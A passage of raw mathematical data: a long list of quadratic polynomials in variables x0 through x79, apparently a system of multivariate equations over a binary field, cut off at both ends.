x35*x51 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x63 + x35*x66 + x35*x76 + x35*x77 + x36*x40 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x48 + x36*x49 + x36*x50 + x36*x52 + x36*x55 + x36*x59 + x36*x67 + x36*x69 + x36*x71 + x36*x72 + x36*x74 + x36*x78 + x36*x79 + x36 + x37*x40 + x37*x44 + x37*x46 + x37*x47 + x37*x48 + x37*x51 + x37*x53 + x37*x54 + x37*x58 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x72 + x37*x76 + x37 + x38*x39 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x48 + x38*x50 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x60 + x38*x62 + x38*x64 + x38*x65 + x38*x67 + x38*x70 + x38*x72 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x78 + x38*x79 + x38 + x39*x41 + x39*x42 + x39*x43 + x39*x45 + x39*x48 + x39*x49 + x39*x50 + x39*x51 + x39*x53 + x39*x54 + x39*x57 + x39*x58 + x39*x60 + x39*x61 + x39*x63 + x39*x64 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x72 + x39*x73 + x39*x75 + x39*x76 + x39*x79 + x39 + x40*x42 + x40*x43 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x54 + x40*x55 + x40*x56 + x40*x58 + x40*x60 + x40*x62 + x40*x65 + x40*x67 + x40*x70 + x40*x71 + x40*x72 + x40*x77 + x40*x78 + x40*x79 + x41*x42 + x41*x48 + x41*x49 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x55 + x41*x57 + x41*x58 + x41*x59 + x41*x61 + x41*x62 + x41*x64 + x41*x65 + x41*x66 + x41*x68 + x41*x69 + x41*x72 + x41*x73 + x41*x77 + x41*x79 + x41 + x42*x44 + x42*x48 + x42*x52 + x42*x53 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x73 + x42*x77 + x43*x44 + x43*x48 + x43*x49 + x43*x51 + x43*x53 + x43*x57 + x43*x58 + x43*x60 + x43*x61 + x43*x62 + x43*x66 + x43*x67 + x43*x69 + x43*x73 + x43*x74 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x46 + x44*x47 + x44*x48 + x44*x51 + x44*x52 + x44*x54 + x44*x59 + x44*x61 + x44*x62 + x44*x65 + x44*x67 + x44*x68 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x76 + x44*x77 + x44*x78 + x44*x79 + x44 + x45*x46 + x45*x47 + x45*x53 + x45*x54 + x45*x55 + x45*x56 + x45*x58 + x45*x63 + x45*x64 + x45*x65 + x45*x66 + x45*x67 + x45*x69 + x45*x70 + x45*x72 + x45*x74 + x46*x47 + x46*x51 + x46*x55 + x46*x56 + x46*x59 + x46*x60 + x46*x61 + x46*x63 + x46*x65 + x46*x68 + x46*x69 + x46*x70 + x46*x76 + x46*x77 + x46*x78 + x46*x79 + x47*x49 + x47*x51 + x47*x52 + x47*x54 + x47*x55 + x47*x57 + x47*x58 + x47*x59 + x47*x61 + x47*x62 + x47*x63 + x47*x66 + x47*x67 + x47*x69 + x47*x78 + x47 + x48*x49 + x48*x51 + x48*x52 + x48*x53 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x61 + x48*x62 + x48*x64 + x48*x68 + x48*x69 + x48*x70 + x48*x71 + x48*x72 + x48*x78 + x48*x79 + x48 + x49*x50 + x49*x52 + x49*x53 + x49*x54 + x49*x56 + x49*x58 + x49*x61 + x49*x64 + x49*x65 + x49*x67 + x49*x68 + x49*x69 + x49*x74 + x50*x51 + x50*x52 + x50*x59 + x50*x62 + x50*x68 + x50*x71 + x50*x74 + x50*x75 + x50*x77 + x50*x79 + x50 + x51*x52 + x51*x53 + x51*x55 + x51*x56 + x51*x58 + x51*x59 + x51*x60 + x51*x61 + x51*x63 + x51*x68 + x51*x70 + x51*x73 + x51*x74 + x51*x75 + x51*x77 + x52*x53 + x52*x54 + x52*x55 + x52*x58 + x52*x59 + x52*x63 + x52*x65 + x52*x68 + x52*x70 + x52*x71 + x52*x72 + x52*x73 + x52*x76 + x52*x77 + x52*x79 + x52 + x53*x60 + x53*x61 + x53*x64 + x53*x65 + x53*x68 + x53*x69 + x53*x70 + x53*x73 + x53*x75 + x53*x76 + x53*x79 + x54*x55 + x54*x56 + x54*x57 + x54*x58 + x54*x59 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x73 + x54*x74 + x54*x76 + x54*x78 + x54*x79 + x55*x56 + x55*x57 + x55*x58 + x55*x59 + x55*x62 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x71 + x55*x74 + x55*x75 + x55*x76 + x55*x77 + x55*x79 + x56*x57 + x56*x58 + x56*x59 + x56*x61 + x56*x63 + x56*x65 + x56*x67 + x56*x69 + x56*x70 + x56*x71 + x56*x73 + x56*x74 + x56*x75 + x56*x76 + x56*x77 + x56*x78 + x56 + x57*x63 + x57*x66 + x57*x67 + x57*x68 + x57*x69 + x57*x70 + x57*x72 + x57*x73 + x57*x74 + x58*x61 + x58*x62 + x58*x63 + x58*x65 + x58*x67 + x58*x69 + x58*x75 + x58*x78 + x58*x79 + x58 + x59*x61 + x59*x63 + x59*x64 + x59*x70 + x59*x72 + x59*x73 + x60*x61 + x60*x62 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x70 + x60*x72 + x60*x73 + x60*x74 + x60*x75 + x60*x77 + x60*x79 + x61*x64 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x74 + x61*x75 + x61*x79 + x61 + x62*x63 + x62*x65 + x62*x66 + x62*x67 + x62*x69 + x62*x71 + x62*x74 + x62*x77 + x62*x78 + x62 + x63*x64 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x70 + x63*x74 + x63*x75 + x63*x76 + x63 + x64*x65 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x75 + x64*x77 + x65*x66 + x65*x68 + x65*x70 + x65*x75 + x65*x77 + x65*x79 + x66*x67 + x66*x68 + x66*x71 + x66*x72 + x66*x75 + x66*x76 + x66*x77 + x66*x79 + x66 + x67*x70 + x67*x71 + x67*x72 + x67*x74 + x67*x75 + x67*x77 + x67*x78 + x68*x70 + x68*x72 + x68*x73 + x68*x75 + x68*x77 + x68*x78 + x69*x72 + x69*x73 + x69*x74 + x69*x76 + x69*x78 + x69*x79 + x70*x72 + x70*x73 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x76 + x71*x78 + x71 + x72*x74 + x72*x76 + x72*x79 + x72 + x73 + x74*x75 + x74*x78 + x74 + x75 + x76*x77 + x76 + x77*x79 + x78*x79 + x78 + 1, x0*x1 + x0*x2 + x0*x6 + x0*x11 + x0*x12 + x0*x14 + x0*x19 + x0*x23 + x0*x29 + x0*x33 + x0*x41 + x0*x42 + x0*x45 + x0*x47 + x0*x52 + x0*x54 + x0*x67 + x0*x68 + x0*x69 + x0*x73 + x0*x74 + x0*x75 + x0*x76 + x0*x77 + x0*x78 + x1*x5 + x1*x6 + x1*x7 + x1*x10 + x1*x13 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x22 + x1*x23 + x1*x24 + x1*x27 + x1*x28 + x1*x30 + x1*x31 + x1*x33 + x1*x36 + x1*x38 + x1*x41 + x1*x43 + x1*x44 + x1*x46 + x1*x47 + x1*x49 + x1*x54 + x1*x58 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x71 + x1*x72 + x1*x74 + x1*x76 + x1*x77 + x1*x79 + x2*x7 + x2*x9 + x2*x10 + x2*x11 + x2*x13 + x2*x14 + x2*x17 + x2*x18 + x2*x21 + x2*x23 + x2*x26 + x2*x27 + x2*x28 + x2*x33 + x2*x35 + x2*x37 + x2*x38 + x2*x40 + x2*x42 + x2*x43 + x2*x46 + x2*x47 + x2*x48 + x2*x49 + x2*x51 + x2*x52 + x2*x53 + x2*x55 + x2*x58 + x2*x63 + x2*x68 + x2*x69 + x2*x73 + x2*x74 + x2*x75 + x2*x76 + x2*x78 + x2*x79 + x3*x4 + x3*x5 + x3*x9 + x3*x10 + x3*x11 + x3*x12 + x3*x14 + x3*x15 + x3*x16 + x3*x18 + x3*x19 + x3*x22 + x3*x26 + x3*x28 + x3*x30 + x3*x31 + x3*x35 + x3*x36 + x3*x37 + x3*x39 + x3*x41 + x3*x42 + x3*x43 + x3*x46 + x3*x47 + x3*x49 + x3*x50 + x3*x54 + x3*x59 + x3*x65 + x3*x67 + x3*x68 + x3*x69 + x3*x72 + x3*x73 + x3*x75 + x3*x77 + x3*x78 + x3 + x4*x9 + x4*x10 + x4*x11 + x4*x12 + x4*x13 + x4*x14 + x4*x16 + x4*x17 + x4*x18 + x4*x22 + x4*x23 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x31 + x4*x35 + x4*x38 + x4*x40 + x4*x41 + x4*x44 + x4*x46 + x4*x47 + x4*x54 + x4*x59 + x4*x61 + x4*x63 + x4*x64 + x4*x68 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x78 + x4 + x5*x14 + x5*x18 + x5*x21 + x5*x22 + x5*x24 + x5*x27 + x5*x28 + x5*x29 + x5*x30 + x5*x31 + x5*x35 + x5*x37 + x5*x44 + x5*x49 + x5*x50 + x5*x52 + x5*x57 + x5*x58 + x5*x63 + x5*x64 + x5*x67 + x5*x68 + x5*x70 + x5*x73 + x5*x75 + x5*x76 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x13 + x6*x17 + x6*x19 + x6*x20 + x6*x21 + x6*x25 + x6*x27 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x35 + x6*x38 + x6*x39 + x6*x40 + x6*x41 + x6*x46 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x52 + x6*x53 + x6*x54 + x6*x55 + x6*x59 + x6*x63 + x6*x65 + x6*x67 + x6*x71 + x6*x72 + x6*x79 + x6 + x7*x8 + x7*x11 + x7*x13 + x7*x15 + x7*x17 + x7*x18 + x7*x19 + x7*x22 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x27 + x7*x28 + x7*x31 + x7*x33 + x7*x34 + x7*x35 + x7*x37 + x7*x38 + x7*x39 + x7*x45 + x7*x48 + x7*x51 + x7*x52 + x7*x54 + x7*x55 + x7*x57 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x70 + x7*x73 + x7*x77 + x7*x78 + x8*x11 + x8*x12 + x8*x14 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x19 + x8*x20 + x8*x25 + x8*x26 + x8*x29 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x39 + x8*x42 + x8*x44 + x8*x46 + x8*x47 + x8*x49 + x8*x52 + x8*x54 + x8*x57 + x8*x58 + x8*x61 + x8*x62 + x8*x66 + x8*x68 + x8*x70 + x8*x72 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x9*x11 + x9*x16 + x9*x17 + x9*x21 + x9*x22 + x9*x24 + x9*x26 + x9*x28 + x9*x29 + x9*x30 + x9*x32 + x9*x33 + x9*x37 + x9*x38 + x9*x44 + x9*x45 + x9*x48 + x9*x49 + x9*x50 + x9*x53 + x9*x55 + x9*x57 + x9*x59 + x9*x65 + x9*x66 + x9*x69 + x9*x70 + x9*x73 + x9*x77 + x9*x78 + x9*x79 + x9 + x10*x13 + x10*x14 + x10*x16 + x10*x17 + x10*x18 + x10*x21 + x10*x22 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x29 + x10*x31 + x10*x33 + x10*x34 + x10*x35 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x41 + x10*x42 + x10*x43 + x10*x44 + x10*x47 + x10*x49 + x10*x52 + x10*x53 + x10*x54 + x10*x57 + x10*x58 + x10*x59 + x10*x60 + x10*x62 + x10*x63 + x10*x64 + x10*x66 + x10*x68 + x10*x69 + x10*x70 + x10*x71 + x10*x76 + x10*x77 + x10*x78 + x10*x79 + x10 + x11*x13 + x11*x15 + x11*x16 + x11*x19 + x11*x20 + x11*x23 + x11*x26 + x11*x27 + x11*x29 + x11*x31 + x11*x33 + x11*x34 + x11*x35 + x11*x38 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x45 + x11*x48 + x11*x49 + x11*x51 + x11*x53 + x11*x55 + x11*x58 + x11*x59 + x11*x60 + x11*x64 + x11*x65 + x11*x68 + x11*x69 + x11*x70 + x11*x72 + x11*x74 + x11*x75 + x11*x77 + x11 + x12*x13 + x12*x16 + x12*x20 + x12*x22 + x12*x23 + x12*x25 + x12*x29 + x12*x33 + x12*x34 + x12*x35 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x43 + x12*x45 + x12*x47 + x12*x49 + x12*x50 + x12*x52 + x12*x58 + x12*x60 + x12*x62 + x12*x63 + x12*x64 + x12*x67 + x12*x69 + x12*x70 + x12*x71 + x12*x75 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x16 + x13*x17 + x13*x19 + x13*x20 + x13*x21 + x13*x24 + x13*x25 + x13*x29 + x13*x31 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x36 + x13*x37 + x13*x39 + x13*x40 + x13*x42 + x13*x43 + x13*x44 + x13*x46 + x13*x48 + x13*x49 + x13*x50 + x13*x51 + x13*x52 + x13*x53 + x13*x55 + x13*x57 + x13*x58 + x13*x59 + x13*x60 + x13*x62 + x13*x63 + x13*x66 + x13*x67 + x13*x69 + x13*x70 + x13*x71 + x13*x72 + x13*x74 + x13*x76 + x13 + x14*x16 + x14*x17 + x14*x18 + x14*x19 + x14*x20 + x14*x26 + x14*x29 + x14*x30 + x14*x31 + x14*x32 + x14*x35 + x14*x36 + x14*x37 + x14*x38 + x14*x39 + x14*x43 + x14*x44 + x14*x45 + x14*x46 + x14*x49 + x14*x50 + x14*x51 + x14*x54 + x14*x55 + x14*x56 + x14*x57 + x14*x61 + x14*x62 + x14*x69 + x14*x70 + x14*x71 + x14*x73 + x14*x75 + x14*x76 + x14*x77 + x14 + x15*x16 + x15*x18 + x15*x20 + x15*x23 + x15*x31 + x15*x32 + x15*x36 + x15*x37 + x15*x44 + x15*x45 + x15*x47 + x15*x48 + x15*x51 + x15*x54 + x15*x56 + x15*x57 + x15*x60 + x15*x61 + x15*x63 + x15*x64 + x15*x69 + x15*x71 + x15*x73 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x20 + x16*x22 + x16*x24 + x16*x25 + x16*x27 + x16*x29 + x16*x34 + x16*x35 + x16*x39 + x16*x43 + x16*x46 + x16*x47 + x16*x49 + x16*x50 + x16*x53 + x16*x55 + x16*x57 + x16*x58 + x16*x60 + x16*x61 + x16*x65 + x16*x66 + x16*x68 + x16*x69 + x16*x72 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x20 + x17*x21 + x17*x22 + x17*x25 + x17*x26 + x17*x30 + x17*x31 + x17*x32 + x17*x35 + x17*x38 + x17*x39 + x17*x43 + x17*x48 + x17*x49 + x17*x52 + x17*x55 + x17*x56 + x17*x61 + x17*x62 + x17*x63 + x17*x65 + x17*x68 + x17*x70 + x17*x71 + x17*x72 + x17*x73 + x17*x77 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x22 + x18*x23 + x18*x24 + x18*x25 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x43 + x18*x47 + x18*x49 + x18*x50 + x18*x51 + x18*x55 + x18*x56 + x18*x59 + x18*x62 + x18*x64 + x18*x68 + x18*x70 + x18*x71 + x18*x72 + x18*x73 + x18*x75 + x18*x79 + x19*x21 + x19*x22 + x19*x23 + x19*x24 + x19*x27 + x19*x30 + x19*x32 + x19*x34 + x19*x36 + x19*x37 + x19*x41 + x19*x44 + x19*x45 + x19*x49 + x19*x50 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x59 + x19*x61 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x77 + x19*x79 + x20*x21 + x20*x23 + x20*x25 + x20*x27 + x20*x28 + x20*x32 + x20*x33 + x20*x36 + x20*x39 + x20*x43 + x20*x46 + x20*x47 + x20*x49 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x57 + x20*x59 + x20*x60 + x20*x61 + x20*x63 + x20*x66 + x20*x67 + x20*x68 + x20*x70 + x20*x72 + x20*x73 + x20*x77 + x20 + x21*x25 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x31 + x21*x32 + x21*x38 + x21*x39 + x21*x41 + x21*x44 + x21*x46 + x21*x47 + x21*x48 + x21*x51 + x21*x52 + x21*x53 + x21*x55 + x21*x56 + x21*x57 + x21*x58 + x21*x60 + x21*x61 + x21*x65 + x21*x66 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x74 + x22*x23 + x22*x24 + x22*x26 + x22*x27 + x22*x31 + x22*x32 + x22*x33 + x22*x38 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x46 + x22*x48 + x22*x52 + x22*x57 + x22*x58 + x22*x62 + x22*x63 + x22*x64 + x22*x70 + x22*x71 + x22*x74 + x22*x75 + x22*x78 + x22 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x31 + x23*x32 + x23*x34 + x23*x35 + x23*x39 + x23*x40 + x23*x43 + x23*x44 + x23*x46 + x23*x47 + x23*x48 + x23*x50 + x23*x52 + x23*x53 + x23*x54 + x23*x57 + x23*x58 + x23*x60 + x23*x64 + x23*x66 + x23*x67 + x23*x69 + x23*x70 + x23*x71 + x23*x75 + x23*x78 + x24*x25 + x24*x26 + x24*x32 + x24*x33 + x24*x35 + x24*x36 + x24*x37 + x24*x40 + x24*x41 + x24*x43 + x24*x44 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x50 + x24*x52 + x24*x53 + x24*x57 + x24*x58 + x24*x60 + x24*x62 + x24*x63 + x24*x64 + x24*x67 + x24*x68 + x24*x73 + x24*x74 + x24*x78 + x24*x79 + x24 + x25*x26 + x25*x27 + x25*x28 + x25*x29 + x25*x31 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x42 + x25*x44 + x25*x45 + x25*x46 + x25*x51 + x25*x55 + x25*x57 + x25*x61 + x25*x62 + x25*x63 + x25*x69 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x76 + x25*x77 + x25*x78 + x25*x79 + x26*x27 + x26*x31 + x26*x33 + x26*x35 + x26*x38 + x26*x41 + x26*x42 + x26*x43 + x26*x46 + x26*x47 + x26*x49 + x26*x52 + x26*x53 + x26*x54 + x26*x56 + x26*x64 + x26*x67 + x26*x68 + x26*x69 + x26*x70 + x26*x71 + x26*x72 + x26*x74 + x26*x78 + x27*x30 + x27*x32 + x27*x35 + x27*x38 + x27*x40 + x27*x42 + x27*x44 + x27*x49 + x27*x51 + x27*x53 + x27*x55 + x27*x56 + x27*x57 + x27*x58 + x27*x60 + x27*x62 + x27*x63 + x27*x64 + x27*x67 + x27*x69 + x27*x71 + x27*x73 + x27*x74 + x28*x30 + x28*x31 + x28*x32 + x28*x33 + x28*x34 + x28*x39 + x28*x40 + x28*x41 + x28*x43 + x28*x45 + x28*x48 + x28*x49 + x28*x52 + x28*x53 + x28*x54 + x28*x55 + x28*x57 + x28*x58 + x28*x59 + x28*x60 + x28*x65 + x28*x67 + x28*x68 + x28*x70 + x28*x72 + x28*x73 + x28*x74 + x28*x77 + x29*x30 + x29*x31 + x29*x32 + x29*x33 + x29*x34 + x29*x36 + x29*x37 + x29*x38 + x29*x40 + x29*x41 + x29*x42 + x29*x44 + x29*x47 + x29*x48 + x29*x52 + x29*x53 + x29*x56 + x29*x58 + x29*x62 + x29*x66 + x29*x67 + x29*x70 + x29*x73 + x29*x74 + x29*x75 + x29 + x30*x32 + x30*x33 + x30*x36 + x30*x38 + x30*x41 + x30*x42 + x30*x44 + x30*x45 + x30*x47 + x30*x48 + x30*x51 + x30*x56 + x30*x69 + x30*x70 + x30*x73 + x30*x74 + x30*x75 + x31*x34 + x31*x35 + x31*x36 + x31*x39 + x31*x42 + x31*x46 + x31*x47 + x31*x48 + x31*x49 + x31*x51 + x31*x53 + x31*x54 + x31*x55 + x31*x62 + x31*x65 + x31*x66 + x31*x68 + x31*x69 + x31*x72 + x31*x77 + x31*x79 + x31 + x32*x36 + x32*x37 + x32*x44 + x32*x50 + x32*x51 + x32*x54 + x32*x55 + x32*x57 + x32*x59 + x32*x60 + x32*x61 + x32*x62 + x32*x63 + x32*x65 + x32*x66 + x32*x67 + x32*x68 + x32*x72 + x32*x76 + x32*x77 + x32*x79 + x33*x40 + x33*x42 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x48 + x33*x50 + x33*x51 + x33*x53 + x33*x54 + x33*x55 + x33*x58 + x33*x61 + x33*x63 + x33*x68 + x33*x70 + x33*x71 + x33*x74 + x33*x75 + x33*x77 + x33*x79 + x33 + x34*x35 + x34*x37 + x34*x38 + x34*x39 + x34*x41 + x34*x42 + x34*x44 + x34*x45 + x34*x46 + x34*x48 + x34*x53 + x34*x56 + x34*x57 + x34*x60 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x69 + x34*x72 + x34*x75 + x34*x77 + x34*x79 + x34 + x35*x37 + x35*x38 + x35*x39 + x35*x44 + x35*x45 + x35*x46 + x35*x48 + x35*x50 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x59 + x35*x64 + x35*x66 + x35*x67 + x35*x70 + x35*x75 + x35*x76 + x35*x78 + x36*x37 + x36*x41 + x36*x45 + x36*x49 + x36*x50 + x36*x51 + x36*x52 + x36*x54 + x36*x55 + x36*x57 + x36*x61 + x36*x64 + x36*x66 + x36*x68 + x36*x70 + x36*x74 + x36*x75 + x37*x38 + x37*x39 + x37*x41 + x37*x42 + x37*x43 + x37*x44 + x37*x45 + x37*x47 + x37*x49 + x37*x53 + x37*x56 + x37*x61 + x37*x62 + x37*x63 + x37*x67 + x37*x68 + x37*x69 + x37*x71 + x37*x72 + x37*x74 + x37*x75 + x37*x78 + x37*x79 + x37 + x38*x41 + x38*x42 + x38*x43 + x38*x47 + x38*x48 + x38*x49 + x38*x51 + x38*x52 + x38*x53 + x38*x59 + x38*x63 + x38*x64 + x38*x69 + x38*x70 + x38*x73 + x38*x74 + x38 + x39*x41 + x39*x42 + x39*x44 + x39*x48 + x39*x49 + x39*x51 + x39*x55 + x39*x56 + x39*x57 + x39*x58 + x39*x59 + x39*x61 + x39*x63 + x39*x65 + x39*x66 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x74 + x39*x75 + x39 + x40*x41 + x40*x42 + x40*x44 + x40*x49 + x40*x58 + x40*x60 + x40*x61 + x40*x63 + x40*x64 + x40*x65 + x40*x67 + x40*x69 + x40*x71 + x40*x74 + x40*x78 + x41*x43 + x41*x44 + x41*x45 + x41*x47 + x41*x55 + x41*x66 + x41*x67 + x41*x69 + x41*x70 + x41*x71 + x41*x72 + x41*x77 + x41*x78 + x42*x43 + x42*x44 + x42*x49 + x42*x50 + x42*x51 + x42*x53 + x42*x54 + x42*x55 + x42*x58 + x42*x60 + x42*x61 + x42*x64 + x42*x65 + x42*x66 + x42*x68 + x42*x69 + x42*x70 + x42*x73 + x42*x74 + x42*x76 + x42*x77 + x42*x78 + x42*x79 + x42 + x43*x45 + x43*x46 + x43*x47 + x43*x49 + x43*x50 + x43*x51 + x43*x53 + x43*x56 + x43*x57 + x43*x61 + x43*x62 + x43*x64 + x43*x66 + x43*x67 + x43*x68 + x43*x69 + x43*x72 + x43*x79 + x44*x45 + x44*x46 + x44*x48 + x44*x49 + x44*x50 + x44*x53 + x44*x55 + x44*x57 + x44*x58 + x44*x59 + x44*x60 + x44*x62 + x44*x64 + x44*x65 + x44*x67 + x44*x70 + x44*x71 + x44*x74 + x44*x75 + x44*x76 + x44*x77 + x44*x79 + x45*x59 + x45*x60 + x45*x61 + x45*x62 + x45*x63 + x45*x65 + x45*x68 + x45*x69 + x45*x73 + x45*x74 + x45*x76 + x46*x48 + x46*x51 + x46*x57 + x46*x62 + x46*x63 + x46*x67 + x46*x71 + x46*x73 + x46*x75 + x46*x76 + x46*x79 + x47*x48 + x47*x49 + x47*x51 + x47*x54 + x47*x55 + x47*x60 + x47*x62 + x47*x65 + x47*x68 + x47*x69 + x47*x72 + x47*x74 + x47*x77 + x47 + x48*x51 + x48*x53 + x48*x55 + x48*x57 + x48*x60 + x48*x62 + x48*x63 + x48*x65 + x48*x70 + x48*x72 + x48*x73 + x48*x74 + x48*x76 + x48*x77 + x48*x78 + x48 + x49*x51 + x49*x52 + x49*x54 + x49*x59 + x49*x61 + x49*x62 + x49*x64 + x49*x65 + x49*x66 + x49*x70 + x49*x71 + x49*x72 + x49*x74 + x49*x76 + x49*x78 + x50*x51 + x50*x53 + x50*x55 + x50*x56 + x50*x59 + x50*x60 + x50*x63 + x50*x64 + x50*x65 + x50*x66 + x50*x67 + x50*x69 + x50*x72 + x50*x73 + x50*x75 + x50*x76 + x50*x77 + x50*x79 + x51*x54 + x51*x55 + x51*x56 + x51*x60 + x51*x62 + x51*x65 + x51*x69 + x51*x70 + x51*x72 + x51*x73 + x51*x75 + x51*x76 + x51*x79 + x52*x53 + x52*x54 + x52*x56 + x52*x57 + x52*x58 + x52*x60 + x52*x61 + x52*x63 + x52*x64 + x52*x68 + x52*x71 + x52*x74 + x52*x75 + x52*x76 + x52*x79 + x53*x55 + x53*x57 + x53*x59 + x53*x60 + x53*x63 + x53*x64 + x53*x66 + x53*x74 + x53*x75 + x53 + x54*x55 + x54*x57 + x54*x60 + x54*x61 + x54*x62 + x54*x66 + x54*x67 + x54*x68 + x54*x71 + x54*x72 + x54*x75 + x54*x77 + x55*x56 + x55*x57 + x55*x58 + x55*x68 + x55*x69 + x55*x71 + x55*x72 + x55*x73 + x55*x74 + x55*x77 + x55*x79 + x56*x61 + x56*x62 + x56*x63 + x56*x65 + x56*x67 + x56*x68 + x56*x69 + x56*x71 + x56*x72 + x56*x73 + x56*x76 + x56*x78 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x62 + x57*x64 + x57*x66 + x57*x68 + x57*x69 + x57*x71 + x57*x72 + x57*x73 + x57*x74 + x57*x75 + x57*x79 + x58*x59 + x58*x60 + x58*x62 + x58*x63 + x58*x66 + x58*x68 + x58*x69 + x58*x70 + x58*x71 + x58*x72 + x58*x74 + x58*x75 + x58*x76 + x58*x79 + x58 + x59*x60 + x59*x66 + x59*x67 + x59*x68 + x59*x70 + x59*x73 + x59*x74 + x59*x75 + x59*x76 + x59 + x60*x61 + x60*x63 + x60*x64 + x60*x65 + x60*x67 + x60*x69 + x60*x71 + x60*x72 + x60*x74 + x60*x75 + x60*x77 + x60*x78 + x60*x79 + x61*x62 + x61*x63 + x61*x64 + x61*x65 + x61*x66 + x61*x67 + x61*x71 + x61*x73 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x65 + x62*x66 + x62*x68 + x62*x69 + x62*x71 + x62*x73 + x62*x74 + x62*x75 + x62*x76 + x62 + x63*x67 + x63*x68 + x63*x71 + x63*x72 + x63*x77 + x63*x78 + x64*x65 + x64*x66 + x64*x68 + x64*x69 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x76 + x64*x79 + x64 + x65*x66 + x65*x73 + x65*x76 + x65*x77 + x65*x78 + x65*x79 + x65 + x66*x67 + x66*x69 + x66*x71 + x66*x72 + x66*x73 + x66*x74 + x66*x75 + x66*x78 + x66*x79 + x67*x69 + x67*x70 + x67*x71 + x67*x73 + x67*x75 + x67*x76 + x67*x78 + x67*x79 + x68*x69 + x68*x70 + x68*x71 + x68*x73 + x68*x74 + x68*x76 + x68*x77 + x68*x79 + x68 + x69*x75 + x69*x77 + x69*x78 + x69*x79 + x69 + x70*x72 + x70*x73 + x70*x74 + x70*x79 + x71*x75 + x71*x77 + x71*x78 + x72*x73 + x72*x74 + x72*x78 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x76 + x74*x78 + x74 + x75*x76 + x75*x77 + x75*x79 + x76*x77 + x76*x78 + x76*x79 + x77*x78, x0*x1 + x0*x4 + x0*x6 + x0*x12 + x0*x20 + x0*x21 + x0*x25 + x0*x26 + x0*x27 + x0*x30 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x41 + x0*x45 + x0*x46 + x0*x47 + x0*x49 + x0*x50 + x0*x51 + x0*x56 + x0*x60 + x0*x65 + x0*x66 + x0*x67 + x0*x68 + x0*x70 + x0*x73 + x0*x77 + x0*x79 + x0 + x1*x3 + x1*x4 + x1*x5 + x1*x12 + x1*x13 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x20 + x1*x25 + x1*x26 + x1*x28 + 